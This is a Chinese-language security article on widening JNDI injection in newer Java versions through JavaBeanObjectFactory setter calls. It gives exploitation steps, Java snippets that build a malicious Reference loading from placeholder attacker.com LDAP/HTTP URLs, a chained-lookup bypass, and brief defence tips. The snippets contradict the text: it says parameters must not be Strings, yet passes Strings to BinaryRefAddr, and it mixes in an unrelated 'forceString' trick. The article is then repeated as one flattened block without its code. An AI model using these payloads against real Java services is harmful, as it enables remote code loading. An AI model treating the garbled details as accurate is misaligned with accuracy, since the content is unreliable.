高版本 jndi 调用 setter 方法拓展攻击面
字数 881 2025-08-22 12:23:36

高版本JNDI利用:通过setter方法拓展攻击面

背景概述

在Java高版本环境中,传统的JNDI注入利用方式(如直接加载远程恶意类)已被限制。本文介绍一种通过调用setter方法拓展攻击面的技术,利用JavaBeanObjectFactory工厂类的getObjectInstance方法实现攻击。

核心原理

JavaBeanObjectFactory是JNDI SPI(Service Provider Interface)的一部分,其getObjectInstance方法可以调用目标类的setter方法。这种机制为攻击者提供了新的攻击面。

技术细节

关键限制条件

  1. setter方法调用顺序固定:无法自定义调用顺序,这导致某些利用链(如JdbcRowSetImpl)失效
  2. 构造函数要求:目标类的构造函数必须是public的
  3. 参数类型限制:传入的ref属性不能是String类型,需要使用BinaryRefAddr

成功利用的类

JtaTransactionConfig类被证实可以利用,因为它:

  • 具有public构造函数
  • 包含可利用的setter方法
  • 能够通过特定参数触发恶意行为

利用步骤

  1. 构造恶意Reference

    • 使用JavaBeanObjectFactory作为工厂类
    • 设置目标类为可利用的类(如JtaTransactionConfig
    • 使用BinaryRefAddr而非String传递参数
  2. 配置攻击载荷

    Reference ref = new Reference("javax.transaction.xa.Xid", 
        "com.sun.jndi.ldap.JavaBeanObjectFactory", 
        "http://attacker.com/");
    ref.add(new BinaryRefAddr("forceString", "a=setXaDataSource"));
    ref.add(new BinaryRefAddr("a", "ldap://attacker.com/exploit"));
    
  3. 触发JNDI查找

    Context ctx = new InitialContext();
    ctx.lookup("ldap://victim-server/malicious");
    

绕过高版本限制

通过JNDI调用JNDI的方式可以绕过部分高版本限制:

  1. 第一次JNDI查找返回一个Reference
  2. 该Reference触发第二次JNDI查找
  3. 第二次查找可能不受相同限制

防御建议

  1. 升级JDK到最新版本
  2. 限制JNDI查找的来源
  3. 实施网络层防护,限制出站连接
  4. 使用安全管理器限制敏感操作

总结

这种技术通过利用JavaBean的setter方法调用机制,在高版本Java环境中拓展了JNDI注入的攻击面。安全团队应了解这种技术以更好地防御相关攻击。

高版本JNDI利用:通过setter方法拓展攻击面 背景概述 在Java高版本环境中,传统的JNDI注入利用方式(如直接加载远程恶意类)已被限制。本文介绍一种通过调用setter方法拓展攻击面的技术,利用 JavaBeanObjectFactory 工厂类的 getObjectInstance 方法实现攻击。 核心原理 JavaBeanObjectFactory 是JNDI SPI(Service Provider Interface)的一部分,其 getObjectInstance 方法可以调用目标类的setter方法。这种机制为攻击者提供了新的攻击面。 技术细节 关键限制条件 setter方法调用顺序固定 :无法自定义调用顺序,这导致某些利用链(如 JdbcRowSetImpl )失效 构造函数要求 :目标类的构造函数必须是public的 参数类型限制 :传入的ref属性不能是String类型,需要使用 BinaryRefAddr 成功利用的类 JtaTransactionConfig 类被证实可以利用,因为它: 具有public构造函数 包含可利用的setter方法 能够通过特定参数触发恶意行为 利用步骤 构造恶意Reference : 使用 JavaBeanObjectFactory 作为工厂类 设置目标类为可利用的类(如 JtaTransactionConfig ) 使用 BinaryRefAddr 而非String传递参数 配置攻击载荷 : 触发JNDI查找 : 绕过高版本限制 通过JNDI调用JNDI的方式可以绕过部分高版本限制: 第一次JNDI查找返回一个Reference 该Reference触发第二次JNDI查找 第二次查找可能不受相同限制 防御建议 升级JDK到最新版本 限制JNDI查找的来源 实施网络层防护,限制出站连接 使用安全管理器限制敏感操作 总结 这种技术通过利用JavaBean的setter方法调用机制,在高版本Java环境中拓展了JNDI注入的攻击面。安全团队应了解这种技术以更好地防御相关攻击。